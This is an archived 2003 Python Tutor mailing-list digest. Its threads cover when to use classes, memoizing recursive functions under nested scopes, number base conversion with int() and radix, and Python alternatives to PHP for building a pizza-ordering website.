>Like the module I mentioned first. It was just a few functions. Then added 
>this:
>
>class Quotes:
>      pass
>
>Very simple, but what 'extra' benefit does making a class and passing it, 
>really do?  I saw a difference when I used 'dir(quotes)'. But not sure it 
>really gave me anything.

Nothing is really added from making an empty class...

>My main point is when to make a 'new' class or just define a bunch of 
>functions? I could go further and include some of my common functions into 
>the new Quotes class. Not sure what benefit I will get from doing that though?

When you have a big system, with a lot of similar, but
maybe not identical types of data, it might be much
better to bundle it in classes. A GUI is a good example.

Or imagine that you have a number of geometrical shapes,
and you want to calculate areas for all of them.

import math

class Shape:
     def __init__(self, pos_x, pos_y):
         self.x = pos_x
         self.y = pos_y
     def area(self):
         # Not implemented in abstract base class
         pass

class Circle(Shape):
     def setRadius(self, r):
         self.radius = r
     def area(self):
         return math.pi * self.radius * self.radius

class Square(Shape):
     def setSide(self, s):
         self.side = s
     def area(self):
         return self.side * self.side

Let's imagine that you have ten different types of shapes.
Each shape knows how to calculate it's own area. If one
shape is changed or added, that means code changes in one
place.

You can do:

c1 = Circle(1, 4)
c1.setRadius(5)
c2 = Circle(6, 4)
c2.setRadius(3)
s1 = Square(10, 4)
s1.setSide(15)
s2 = Square(10, 14)
s2.setSide(5)

for shape in c1, c2, s1, s2:
     print shape.area()

In the code above, Circle is a class, an object that captures
the abstraction "circle". c1 is an instance of the Circle
class, an object that captures one actual circle. c1 and c2
are both circles. They share the same methods, but have
different data. (Same *kind* of data, but with different
values.)

The part of the code that does "c1.setRadius(5)" must "know"
that circles have a radius--that's unavoidable, but the for-
loop above only needs to know that each shape will return its
area as a number if you call its .area() method. It doesn't
care what kinds of shapes there are, or *how* areas are
calculated. This means that adding a new kind of shape (maybe
a star shape) doesn't cause more code changes than necessary.
This will make it easier to maintain and understand your code.

If you would want to do something like that without classes,
it could be made in different ways. Let's first imagine that
we have some kind of data structure, let's call it a struct
as in C, so that we have a circle object c1 with a radius
parameter. A C struct is basically a class without methods.
Then we will either have to have an area function that
understands all kinds of shapes. That would be used like this:

for shape in c1, c2, s1, s2:
     print area(shape)

The main disadvantage here is that the area function gets
more and more complex as the number of shapes increase.

The other option, is to have several simple area functions,
but then you move the complexity to the caller. It would
be something like:

for shape in c1, c2, s1, s2:
     if isCircle(shape):
         a = circle_area(shape)
     elif isSquare(shape):
         a = square_area(shape)
     ...
     print a

We could probably live with this as long as we only want
to calculate areas, but if we also want to be able to
display the shapes, move them, erase them, calculate
circumference, raise or lower them, etc etc, we will soon
see that it's a big advantage to be able to write code
that just handles a little part of the problem at a time.
It's about separation of concerns. A normal brain can't
manage to keep all balls in the air at once...

If we don't even have a shape structure, but need to store
data in lists etc, it would get even messier.

Classes aren't a silver bullet that solves all problems
quick and easy. For instance, if you want to calculate the
total area covered by all your shapes, you can't just sum
up all areas of individual shapes, since all areas where
different shapes overlap will be counted (at least) twice.

In thst case, the introvert perspective of each single class
will be inadequate. But then you might have another class,
maybe a surface class, that abstracts the concept of the
surface that is being covered. It all gets more complicated
though, because you will either need some mathematical
logic where one piece of code understands all different
shapes, so that it can calculate the size of the overlaps,
or else, you will have to perform som numerical approxiamtion
of what areas are covered, and then each class must be able
to tell you whether a certain point is within its surface
or not. (Then you will just do a Mone Carlo simulation: The
surface class will sample a number of coordinates of its
surface, and ask each shape whether that coordinate is inside
that shape or not.)

The way we have an abstract method Shape.area() which can be
called for all shapes, although different types of shapes
implement it in different ways, is called polymorphism. In
most object-oriented languages, inheritence is a requirement
to achieve polymorphism. I implemented it like that above.
All shapes (even if we only implemented Circle and Square)
will inherit from the base class Shape. If this had been
C or Java, this would have been a requirement for doing the
for-loop where we calculated all areas. The loop variable
"shape" would have been an instance of the abstract Shape
class.

In Python it's different. As long as all the items we loop
over has an area method, Python won't care if they have a
common base class or not. The lookup for an area method
is done when the program is executing the for loop, not
when it compiles the program.

Polymorphism is not the only advantage with classes though...

>I would guess that I could break the functions included in the new class 
>down further and they might be more useful to parts of the program that 
>didn't need the whole previous function. So wouldn't have to write a new 
>one. But could do that without the class, just might be a little more 
>confusing.
>Maybe just haven't gotten a complete grasp on it yet. Is it always 
>necessary to try and combine like fuctions in your programs into a class, 
>if not then when is it? What about modules you write, is it more important 
>to do it there?

When you write object-oriented programs, you don't structure
your programs functionally, based on the operations you
perform. You structure it in objects, based on what sets
of data you will perform operations on.

In other words, if you begin with a text (or spoken description)
that describes the system you are to build, you focus on the
important nouns in the description, rather than on the verbs.
Ok? As you might understand, the object oriented program will
often

A small Python script will often just work with one kind of
important object, and maybe only with one instance of the
object in each program run. Then there is little to gain in
using classes. The whole program would just be one single
class,


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From dyoo@hkn.eecs.berkeley.edu  Fri Jun 20 16:10:05 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri Jun 20 15:10:05 2003
Subject: [Tutor] Memoizing ...   [advanced topic: transparent memoization
 and nested scoping will conflict]
In-Reply-To: <3EF342C3.6060703@aon.at>
Message-ID: <Pine.LNX.4.44.0306201028340.21533-100000@hkn.eecs.berkeley.edu>


On Fri, 20 Jun 2003, Gregor Lingl wrote:

> Lloyd Kvam schrieb:
>
> > This is in the Python Cookbook in the Algorithms chapter (17.7).
>
> Thanks for this very valuable hint. My simplified version looks like
> this:
>
> class Memoize:
>     def __init__(self, fn):
>         self.fn = fn
>         self.memo = {}
>     def __call__(self, *args):
>         if args not in self.memo:
>             self.memo[args] = self.fn(*args)
>         return self.memo[args]
>
> It work's well for my purposes.


Hi everyone,



Unfortunately, there are some potential problems when we do memoization on
recursive functions when nested scope is involved.  Whew, that was a
mouthful.  *grin*


This is a very obscure issue --- most people will never ever run into
this problem --- so run away from this message when it starts looking
weird.










Ok, is the room empty now?  *grin* First, let's try out memoization on the
classic Fibonacci function:

###
>>> def fib(n):
...     if n < 2: return 1
...     return fib(n-1) + fib(n-2)
...
>>> class Memoize:
...     def __init__(self, fn):
...         self.fn = fn
...         self.memo = {}
...     def __call__(self, *args):
...         if args not in self.memo:
...             self.memo[args] = self.fn(*args)
...         else:
...             print "memoized lookup for %s" % args
...         return self.memo[args]
...
>>> fib = Memoize(fib)
>>> fib(5)
memoized lookup for 1
memoized lookup for 2
memoized lookup for 3
8
>>> fib(6)
memoized lookup for 5
memoized lookup for 4
13
###



Ok, this looks good so far.  Memoization is working perfectly at the
moment.  But what about this?

###
>>> def fib_maker(a, b):
...     def fib_helper(n):
...         if n == 0: return a
...         if n == 1: return b
...         return fib_helper(n-1) + fib_helper(n-2)
...     return fib_helper
...
>>> fib = fib_maker(1, 1)
>>> fib = Memoize(fib)
>>> fib(5)
8
>>> fib(5)
memoized lookup for 5
8
>>> fib(6)
13
>>> fib(6)
memoized lookup for 6
13
###


Big difference!  Here, we see that the recursive calls aren't going
through the same memoization route as the first example, so the
performance will inevitably suffer.  We do get a kind of memoization, but
only in a very shallow way.



This issue is known by the Lisp/Scheme community; it's briefly hinted in
SICP Exercise 3.27:

http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-22.html#%_thm_3.27


What's happening is that, within the internal fib_helper() function, those
recursive calls to fib_helper() are calls to itself.


When we do a memoization here:

>>> fib = f()
>>> fib = Memoize(fib)

those internal recursive calls still go through the unmemoized versions of
the function.  It's very diabolical.  The only reason we don't run into it
in the first example in Python is because Python apparently doesn't use
nested-scope rules at toplevel.


I'm not aware of a way to fix this without making fib() itself aware that
it's going to be memoized; if anyone can bring more enlightenment on this,
I'll be very happy.


The lesson, I guess, is to be aware that nested-scoped functions and
automatic memoization probably won't mix very well without some careful
work.  But for the most part, we'll seldom run into this issue.




On a related note: most Perl folks know about the 'Memoize' package,
written by Mark Jason Dominius.

    http://perl.plover.com/MiniMemoize/memoize.html

It's pretty cool.  In fact, it makes memoizing functions seem like magic,
and Mark's Memoize package can automatically memoize most functions.  But
for those who think Perl somehow has it any easier than Python, the
example below shows that it too has similar problems when nested scope and
memoization mix:


###
use strict;
use Memoize;


sub fib_maker {
    my ($a, $b) = @_;
    my $fib_helper = sub {
	my ($f, $n) = @_;
	print "Called on $n\n";
	if ($n == 0) { return $a;}
	if ($n == 1) { return $b;}
	return $f->($f, $n-1) + $f->($f, $n-2);
    };
    ## Some contortions seem necessary to get a nested-scope recursive
    ## function... *grin*
    return sub { $fib_helper->($fib_helper, @_[0]) };
}

{ no strict 'refs';
  *{fib} = fib_maker(1, 1);
}

memoize('fib');

print "call1", "\n";
print fib(5),  "\n";
print "call2", "\n";
print fib(6),  "\n";
print "call3", "\n";
print fib(6),  "\n";
###


The conflict between automatic memoization and nested scopes is a
language-indepdendent problem.



Anyway, hope this helps!



From magnus@thinkware.se  Fri Jun 20 16:21:46 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 15:21:46 2003
Subject: [Tutor] RE: Base converter bases 2-62
In-Reply-To: <Law15-F335pneeFUtLc00015fbb@hotmail.com>
Message-ID: <5.2.1.1.0.20030620204542.01fb1e50@www.thinkware.se>

At 11:47 2003-06-20 +0000, cino hilliard wrote:
>You are discouraging the old man. :--)

I believe in brutal honesty. :) If you are learning a new
programming languange as an "old man", I assume you are
open to challenges, and to finding new ways of doing things.

 From a practical point of view, I do see a point in being able
to handle different bases. But honestly not bases above 16. For
some kind of generic encryption or coding, there are lots of
existing formats already. See the binascii module for instance.

E.g.
 >>> binascii.b2a_uu('Cino Hilliard')
'-0VEN;R!(:6QL:6%R9   \n'
 >>> binascii.b2a_hqx('Cino Hilliard')
'3fPZEb")D@aXD@&bC!'
 >>> binascii.b2a_hex('Cino Hilliard')
'43696e6f2048696c6c69617264'
 >>> binascii.b2a_base64('Cino Hilliard')
'Q2lubyBIaWxsaWFyZA==\n'

But I can surely agree that sheer amusement, learning and discovery
are quite good reasons for programming. Don't let me stop you.

What I'd really like to see concerning different bases, would be
that binary format was as well supported as hexadecimal. I.e.
just like we can do...

 >>> 0xbeef
48879
 >>> print "%x" % 123
7b
 >>> hex(123)
'0x7b'

...we should be able to do...

 >>> 0b10101010
 >>> print "%b" % 1323123
 >>> bin(123)

Particularly for learning, I think that

 >>> print "%b" % (0b110011 | 0b001100)
111111

is much easier to understand than

 >>> print 51 | 12
63


I wrote:
>>digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
>
>>def numToBase(num, base):
>>     stack = []
>>     while num:
>>         stack.append(digits[num % base])
>>         num = num // base
>>     stack.reverse()
>>     return "".join(stack)
>>
>>This version only work for positive numbers though.
>>But it's fairly simple to handle negatives and zero
>>I think. I leave it as an excise to the reader...

>I like this. Here is my version.
>
>def numToBase(num, base):
>     import string
>     digits=""
>     for j in range(48,58):         #build digit table 0-9
>           digits = digits + chr(j)
>     for j in range(65,91):         #Add to digit table A-Z
>           digits = digits + chr(j)
>     for j in range(97,123):        #Add to digit Table a-z
>           digits = digits + chr(j)
>     stack = []
>     while num:
>         stack.append(digits[num % base])
>         num = num // base
>     stack.reverse()
>     x =  "".join(stack)
>     print x
>#    return x

In think the explicit version where the string is stated as a literal
is better for several reasons:
  * First of all, my code is shorter and in my opinion easier to
    understand.
  * In actuality, it *is* a constant. It will look the same each time
    you create it.

>Example
>>>>convert.numToBase(680503772433971638008487115952059,62)
>3iEaIWRTFVzvd3szVet
>This agrees with the example above in my code. Now, how do you go back?
>Well long(s,radix) will work up to base 36. I will figure it out.

Ok, if you want to go beyond base 36, you need to code the
other way as well. Jeff Shannon already mentioned that you
can use the string method index for that.

"0123456789ABC".index("B") will return 11.

That's a start... The rest is just like above but backwards... :)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From jeff@ccvcorp.com  Fri Jun 20 16:26:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 20 15:26:02 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
References: <Law15-F19DA1XiHY5Fb0000920c@hotmail.com>
Message-ID: <3EF35F8B.5070303@ccvcorp.com>

cino hilliard wrote:

>
> Hi Jeff, et al,
> Thank for your input and all your work in this list.
> I have comments below. Some of the examples will use convert.py and 
> base3.py
> Please take no offense at my remarks as I am trying to learn. If i 
> have made an unsupportable
> claim then a correction of that will reinforce my learning. 


I'm going to trim a lot of this, because it's digressing into side 
issues, but...

>> I use quotes because these are symbols (strings) representing 
>> something else (a number) -- but they all represent the *same* 
>> number.  A "pure" number doesn't have a base associated with it --
>
> What is a pure number? Pure base 62 is 6176790 base 10. 


A pure number is a theoretical mathematical construct.  This is getting 
into the realm of number theory, of which I only have the vaguest of 
knowledge.  However, it is possible (in number theory notation) to 
express numbers without relying on any base.  The abstract, Platonic 
concept of a number is baseless, but it's impossible to talk about 
numbers in everyday terms without using some implied base, which (for 
almost all humans) is assumed to be base 10 unless otherwise specified. 
 (Indeed, as Bob Gailer pointed out, the only reason that we can even 
talk about "base 10" is because we assume that we're looking at a base 
10 number; no matter what base we used, whether binary, octal, decimal, 
or hexidecimal, if it was our "default" base we would, by definition, 
write it as "base 10".  But now we're getting *really* far from the 
actual point...)

> [...]With out a base we cannot express the number. 


This being the point -- you can't *express* a number, but the number 
exists regardless.  It's the same *number* of cows, regardless of what 
words the farmers use to count them.  The number is a Platonic abstraction.

>> int() function (and atoi(), which is really the same thing) will 
>> convert a representation (which has a base associated with it) to the 
>> underlying number (which has no base).
>
>
> Balony. The number converted to is base 10 period. Sure it's binary 
> internally but to the
> viewer it is decimal. That is all the function can do in terms of base 
> conversion. I knew that. 


Once again, I can only point out that it's meaningless to talk about the 
base of an integer.  It's only meaningful to talk about a base in 
reference to a particular representation of that integer, and the same 
integer can be represented in multiple bases (but that doesn't stop it 
from being the *same* integer).  You're insisting that these numbers are 
converted to base 10 even though it's stored in base 2 -- that's 
contradictory.  int() really *does* convert everything to base 2 -- it's 
just that every time Python shows you an integer, it converts it to base 
10 *at the point of display*, because it assumes that this will be 
easier for you to read.

> The issue is the vague definition which by the way is not life 
> threatning. It just ain't clear to me. That
> was my point. Read the thing carefully and you will see it too. Don't 
> keep snipping it when you try to defend it. In uppercase BELOW I give 
> a more precise definition of what python actually does.
> Like I said earlier, it is not life threatning. 


In almost all circumstances, it doesn't hurt anything to treat all 
integers as if they're base 10.  In fact, it's usually easiest to do 
that, because that's the way we humans think.  (At least, it's how 
*most* humans think -- base 10 is dictated by culture and convention, 
not biology, but it seems to be pretty universal...)

And, since you're specifically asking me to not keep snipping....

> atoi( s[, base])
>
> Deprecated since release 2.0. Use the int() built-in function.
> Convert string s to an integer in the given base. The string must 
> consist of one or more digits, optionally 


I'll grant that this description isn't as clear as it could be.  The 
docs for int() are a bit more clear.  Let's look at them again, without 
your interspersed comments for the moment (I'll get back to those).

"""
int(x[, radix])
Convert a string or number to a plain integer. If the argument is a 
string, it must contain a possibly signed decimal number representable 
as a Python integer, possibly embedded in whitespace; this behaves 
identical to string.atoi(x[, radix]). The radix parameter gives the base 
for the conversion and may be any integer in the range [2, 36], or zero. 
If radix is zero, the proper radix is guessed based on the contents of 
string; the interpretation is the same as for integer literals. If radix 
is specified and x is not a string, TypeError is raised. Otherwise, the 
argument may be a plain or long integer or a floating point number. 
Conversion of floating point numbers to integers truncates (towards zero).
"""

Note that there is no mention of "base 10", only that the interpretation 
is, by default, the same as for integer literals (which are assumed to 
be in base 10 unless otherwise indicated).  Note also that radix is not 
used in reference to the integer result, but rather in reference to the 
input parameter, and describes how that parameter (if it's a string) 
should be converted to an integer.  It's significant that radix applies 
*only* when the input parameter is a string -- if x is already a number, 
then the radix is irrelevant because numbers don't have bases, only the 
representations (strings) do.  The fact that every time you see a 
number, it's been converted to a string in base 10, does not mean that 
the underlying number is base 10; it just means that it must be 
represented somehow, and that representation must have a base.

>
> int( x[, radix])
>
> Convert a string or number to a plain integer. If the argument is a 
> string, it must contain a possibly
>
> CONVERT A STRING OR NUMBER IN BASE RADIX TO A PLAIN INTEGER IN BASE 
> 10. NOTE THAT YOU
> CANNOT GO THE OTHER WAY - FOR EXAMPLE CONVERT STRING BASE 10 TO BASE 2 
> IS NOT
> SUPPORTED. 


As I mentioned above, base 10 is not specified.  The reason that you 
can't go the "other way" is because there is no other way -- an integer 
has no base.  You can *display* the integer using base 2, if you really 
want, though Python doesn't have a built-in binary() function to 
complement the hex() and oct() functions.  But the integer itself 
doesn't care what base you think it is.

> signed decimal number representable as a Python integer, possibly 
> embedded in whitespace; this
> behaves identical to string.atoi(x[, radix]). The radix parameter 
> gives the base for the conversion and
>
>
> THE RADIX IS THE BASE WE ARE CONVERTING THE STRING FROM. THE RESULT 
> WILL ALWAYS
> BE A PYTHON  INTEGER IN BASE 10. YOU CANNOT CONVERT TO ANY OTHER BASE 
> THAN 10. 


You cannot convert to any other base than 2 (a series of charges in a 
set of transistors), but every time that Python shows you the number, 
it'll automatically convert it to base 10 for you, because humans aren't 
very good at interpreting the electrical capacitance of transistors. 
 But all of this is beside the point, because, as I said before, an 
integer doesn't care what base you think it is, it's still the same number.

> Maybe any integer in the range [2, 36], or zero. If radix is zero, the 
> proper radix is guessed based on
> Hmm.., Example of 0 radix errors out
> SyntaxError: invalid syntax
>
>>>> int('JEFFSHANNON',0)
>>>
> Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
> ValueError: invalid literal for int(): JEFFSHANNON
>
>>>>
> It appears that a sufficient magnitude in radix is required to avoid 
> errors. Radix 29 takes you to letter S,
> The largest letter in JEFFSHANNON. Then radix 29-36 will not error on 
> that input. 


Obviously, you'll have an error if any symbol in the string is 
meaningless for a given base.  This is the same thing as having a '9' in 
a string that you're trying to interpret as octal, or a '5' in a string 
you're trying to interpret as binary.  The symbol is meaningless in that 
base, so the only reasonable thing for Python to do is report it as an 
error.

>> What has you confused is that Python, when asked to show you an
>
> I am not confused at what python does. That is obvious. I am confused 
> in how your manual
> describes it. Ii know what it does. It just doesn't do what you say it 
> is supposed to do
> the way I read the definition. 


But you *are* confused, because you're conflating the step where Python 
shows you a number, with how Python actually keeps track of the number. 
 Internal manipulation is a separate issue from display, and there *is* 
a conversion step in between.  The conversion is especially apparent 
when dealing with floats, because the same float will display 
differently depending on whether you use str() or repr() (the 
interpreter uses repr() by default) --

 >>> repr(0.1)
'0.10000000000000001'
 >>>

Note that the number that the interpreter prints is different from the 
number I put in.  That's an artifact of conversion -- the decimal (base 
10) value is converted to a floating point (base 2) value, and because 
of representation issues the conversion is not perfect.  (Just as 1/3 
cannot be exactly represented in base 10, since 0.3333... is inexact, 
but can be exactly expressed in base 3 where it's 0.1, 1/10 cannot be 
exactly represented in base 2.)  That binary floating point is then 
converted *back* to a decimal value (by repr() ) to be printed to the 
screen.  That same conversion happens with integers, too, although 
integers don't have the conversion errors that fractional values do. 
 But the interpreter *does* use repr() to convert those integers to 
strings that can be displayed on the screen.

>>> Question. How can I get convert.base(r1,r2,str) without having to 
>>> type the quotes for the string?
>>> Eg., convert(16,10,FFFF) instead of convert(16,10,"FFFF") = 65535 ?
>>
>>
>> You can't, because the Python parser would have way of knowing
>
> Of course you can. Change python >>> CONSOLE source to do it like dos. 
> See my examples above. 


The Python parser, as I tried to explain, must deal with a much richer 
and more diverse environment than the DOS commandline parser does. 
 Because there are so many more constructs for the Python parser to deal 
with, there's a lot more room for ambiguity.  This means that in many 
cases, it's necessary for the programmer to put a little more effort 
into resolving that ambiguity.  There's only a couple of ways it makes 
sense to read a commandline parameter, and in fact DOS simply treats 
*every* commandline parameter as a string, and passes that set of 
strings to the program -- there's no other options.  However, a given 
word in a Python script could be interpreted in a wide variety of ways. 
 Thus, it's necessary to indicate whether a word is an integer literal 
(consists only of numbers, or starts with '0x' and contains only numbers 
and letters ABCDEF), an identifier, or a string literal.  DOS doesn't 
need to worry about whether something is an identifier, because it 
*can't* be one; Python needs to have something to distinguish strings 
from identifiers, and so it uses quotes.  This is not something that can 
be changed in Python, though you can use a DOS command line to feed the 
quote-less string into a Python program (as you've done with your script).

> this is dumb. It should look at it as a string. would require some 
> thinking but it should be doable.
> Try the dos example below. Obviouslt python is reading the stdin 
> base3.py and passing the command
> tail to variables r1,r2 and num. Python.exe is smart. it is the >>> 
> console that doesn't understand.
>
> c:\Python23>python base3.py 36 10 JEFFSHANNON         Look mom, no 
> quotes.
> 70932403861357991 


No, it's not the console, it's the parser, which is separate from 
(though used by) the console.  In your example, Python is *not* reading 
stdin (it's readying sys.argv, which is a list of strings) and even if 
it was, stdin is by definition a string.  The commandline parameters to 
a program are parsed by DOS, and then fed to python as a set of strings. 
Standard input is gathered by DOS and then passed on to Python. 
 (Actually, given the world of virtual DOS machines within Windows and 
virtual device drivers, it's more complicated than that, but the point 
remains that commandline parameters and standard input come from the 
operating system, rather than through the Python parser.)  Python 
*isn't* that smart -- it has no idea that you're performing a conversion 
on the final parameter, and that the parameter must therefore be a 
string.  All it can do is follow one simple step at a time, exactly what 
you tell it to do.  And in order to know how to follow out your 
directions, it first breaks everything up into pieces and figures out 
what those pieces are.  It has to know that that final argument to the 
function call is a string before it can understand how to work with it. 
 Here's an example to show why Python *must* have quotes around strings:

FFFF = "15"
base3.convert(16, 2, FFFF)

Now, is this intended to convert 15 to binary (11111111), or FFFF to 
binary (11111111 11111111 11111111 11111111) ??  There's no way to tell, 
and Python certainly shouldn't be trying to guess.

>>>> convert.base(10,16,2**256-1)                 See Mom, No quotes 
>>>> here either!
>>>
> 0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 


That's because you're using an integer constant, which the parser *can* 
distinguish from an identifier -- indeed, being able to distinguish 
between those is why identifiers cannot start with a numeric character.

Jeff Shannon
Technician/Programmer
Credit International




From garnaez@yahoo.com  Fri Jun 20 16:33:04 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Fri Jun 20 15:33:04 2003
Subject: [Tutor] Python and PHP
Message-ID: <20030620193235.48145.qmail@web20202.mail.yahoo.com>

hi, ever since I had my eureka moment in python, I
suddenly can read other language and understand them
so much better.
BUT
I also seem to have been spolied by python

I have been helping a non-profit web hosting company
and they now are going into Application service
provideing.  In short, we have a project named the
Bubba Project, in which we are taking a horrendous
online pizza ordering mess and making it into a clean
user friendly page. (You would be surprised hwo
complicated the RDB tables our for tracking pizza
orders)

Anyway, i have been overseeing the project, and
finally had a change to look at PHP.

UGHHH!

I know it does what it does well,
but does python have any modules that we can use
instead to build out page on?

thanks 

G


__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From jeff@ccvcorp.com  Fri Jun 20 16:41:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 20 15:41:02 2003
Subject: [Tutor] RE: Base converter bases 2-62
References: <Law15-F81XLWGEt5cPw0004721b@hotmail.com>
Message-ID: <3EF362FA.60109@ccvcorp.com>

cino hilliard wrote:

>> (Of course, as Magnus pointed out, this whole loop can be easily 
>> replaced with 'dec = int(num, r1)' as long as you can cope with a 
>> maximum base of 32....
>
> Why even mention this? I went to all this trouble for base 32 max? the 
> atol and ltoa in c do this
> for you to base 36.
>

Whoops, I *meant* base 36, which is the documented maximum radix for 
int().  Python (and I believe the C library functions) don't distinguish 
between upper and lower case for these conversions, which means that 
there's 26 alpha + 10 numeric symbols available.  It's certainly 
possible to use a wider range of symbols, but probably not of any 
practical value.

Jeff Shannon
Technician/Programmer
Credit International




From alan.gauld@blueyonder.co.uk  Fri Jun 20 17:20:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 20 16:20:02 2003
Subject: [Tutor] When to use a Class or just define functions?
References: <web-1606633@rems09.cluster1.charter.net>
Message-ID: <002801c33769$12975ff0$6401a8c0@xp>

> class Quotes:
>       pass
> 
> Very simple, but what 'extra' benefit does making a class 
> and passing it, really do?  

None whatsoever since 'pass' doesn't pass the class to anywhere 
it tells the interpreter to pass over the line, thus it does 
literally nothing! Classes are only useful if you put some methods
inside them.

One way to illustrate the benefit of classes is to think about 
a word counter for files.

If you put it in a module you might declare a module variable 
to hold the filename. Then you could call the functions to count 
words, sentences etc. Like this:

-----------
import counter

counter.target = open("foo.txt")

words = counter.countWords()
sentences = counter.countSEntences()

print words, ' in ', sentences, 'semtemces'
-------------

Now that works fine but we can only process one file at a time.
Now lets assume we wrote the code as methods of a class which 
had an instance variable holding the file:

-------------
class Counter:
   def __init__(self, fileName): self.target = open(fileName)
   def countWords(self): .....
   def countSentences(self): .....
   def nextSentence(self):....
   def countWordsInSentence(self):....

Now we can create lots of these counter objects, one per file 
and work withthem all at the same time. We couldn't have done 
that with the first version. Of course we could redesign the 
module not to use the global value and pass the file in each 
time, but what if we wanted to step through the files sentence 
by sentence? That gets harder with the module approach, but 
with lots of independant objects its easy! Each object can keep 
track of its current location in the file.

> My main point is when to make a 'new' class or just define 
> a bunch of functions? I could go further and include some 
> of my common functions into the new Quotes class. Not sure 
> what benefit I will get from doing that though?

The above illustrates one occasion. There are others - like 
when you want to pass around chunks of data and have the 
operations available too. Or if you think you might want to
subclass(or extend) the capabilities. eg In the Counter example 
you might want to add the ability to count or move by paragraphs.
You could derive a new subclass and just add two new methods.
All the previous stuff still works but you can extend it.

> I would guess that I could break the functions included in 
> the new class down further and they might be more useful 
> to parts of the program that didn't need the whole 
> previous function. 

Its good practice in designing classes to have the "public" 
methods - ie the ones that people call - implemented in terms 
of "protected" or "private" methods - ones that are only visible 
inside the class. This makes it easy for people subclassing 
your class to change the functions without changing the 
public interface. This technique is known as "hook programming"
because the intrernal functions act like hooks to which you 
can attach new features.

class C:
   def start_f(s)...
   def end_f(s)...
   def f(s):
     s.start_f()
     # do the main thing here
     s.end_f()

Now I can change C's behaviour in a subclass thus:

class D(C):
   def start_f(s):
      C.start_f(s)  # get the otriginal action if needed
      # do some new starting action here


What I've now done is change the pre condsitions around 
the F() method by rewriting the start hook.

Hmmm, That's probably more than you wanted, I got a tad 
carried away there so I'll stop now before I confuse 
everyone, including me!

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From magnus@thinkware.se  Fri Jun 20 17:39:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 16:39:02 2003
Subject: [Tutor] Python and PHP
In-Reply-To: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030620214301.01f6b400@www.thinkware.se>

At 12:32 2003-06-20 -0700, Gerardo Arnaez wrote:
>I know it does what it does well,

Python or PHP? :)

>but does python have any modules that we can use
>instead to build out page on?

Sure. There are many pythonic ways to avoid the horrors of PHP.

But I don't think looking for a replacement for PHP is really
a good way to formulate the requirements of this new tool.

You have to think about what you want to achieve, what kind
of data you have, how interactive the site will be, how much
it will be used, how complex the logic is etc etc, rather than
what language you want to avoid using. ;)

There are Python solutions that are fairly similar to PHP,
where Python code is embedded in the web pages, and there are
solutions where you mainly write code, and pull in some HTML
templates to get a page layout. There are also frameworks such
as ZOPE where you build your apps interactively in a web
environment.

For some of the available solutions (you have a big selection)
look at:

http://www.python.org/cgi-bin/moinmoin/WebProgramming

There are many options (just as there are many options on how to
do things if you work with PHP, or anything else).

If you tell us more about what you want to do, we can probably
help you narrow it down a bit. We have the fundamentals: It's
a pizza ordering mess that's supposed to be somewhat less of a
mess... :)

Some more relevant factors are:

* Platform/OS/Webserver?

* Can you run whatever processes you like on the servers, or
   are you stuck with something like CGI interfaces?

* Is the interactive user interface only for the pizza buyers,
   or also for the guys who make price lists and create web site
   content also going to use your interactive features?

* Will the site be involved in any kind of monetary transfer, or
   is that handled outside the system. (I guess it's easiest to
   pay in person when the actual pizza is delivered, but I want to
   be sure. It makes a big difference whether you are making money
   transactions in the system or not...)

* What kind of experience do the site developers have?

* What mix of people will be working with development? Programmers,
   layout and content people etc. Will it be the same people who will
   work with the code and the text content, or will there be "content
   providers" who are clueless about programming etc? Roughly how many
   people are involved?

* What load will this site have? How many customers per day, and
   roughly how many hits on the system do they create?

It seems to me that this might be a good fit for Zope. I guess other
solutions, such as CherryPy could fit as well though. It depends on
your answers to the questions above.

Zope is certainly the big player in the field, it has thousands of
users, a number of published books (I think both the "Zope Bible" and
"Zope - Web Application Development and Content Management" are good
books.) The core Python developers are employed by Zope Corp, and work
with the development of Zope.

The disadvantage of Zope is that it's a fairly big and monolithic product,
with a lot of things to learn before you know all of it. On the other hand,
I don't think there is any other tool where you can create a Python based
web application without actually knowing or coding any Python, and there
is an abundance of ready made plugins, so it's a rich component framework.
See http://www.zope.org/Products . For instance, there are several
e-commerce products that you can plug in to your Zope installation.

Zope handles logins, it lets developers make changes and only make these
changes available to the public when they are ready, changes in the
system can be undone, etc etc.

The more advanced your system will eventually be, the more I think you
will gain from using Zope.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Fri Jun 20 18:08:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 17:08:01 2003
Subject: [Tutor] Python and PHP
In-Reply-To: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030620230641.01f82140@www.thinkware.se>

At 12:32 2003-06-20 -0700, Gerardo Arnaez wrote:
>python have any modules that we can use ...

Apart from what I mentioned before, I think this article might
be useful:

http://www.python.org/cgi-bin/moinmoin/PresentationTechnologies

Also, I forgot to mention Twisted, see http://www.twistedmatrix.com/
and http://www.twistedmatrix.com/documents/howto/woven etc.

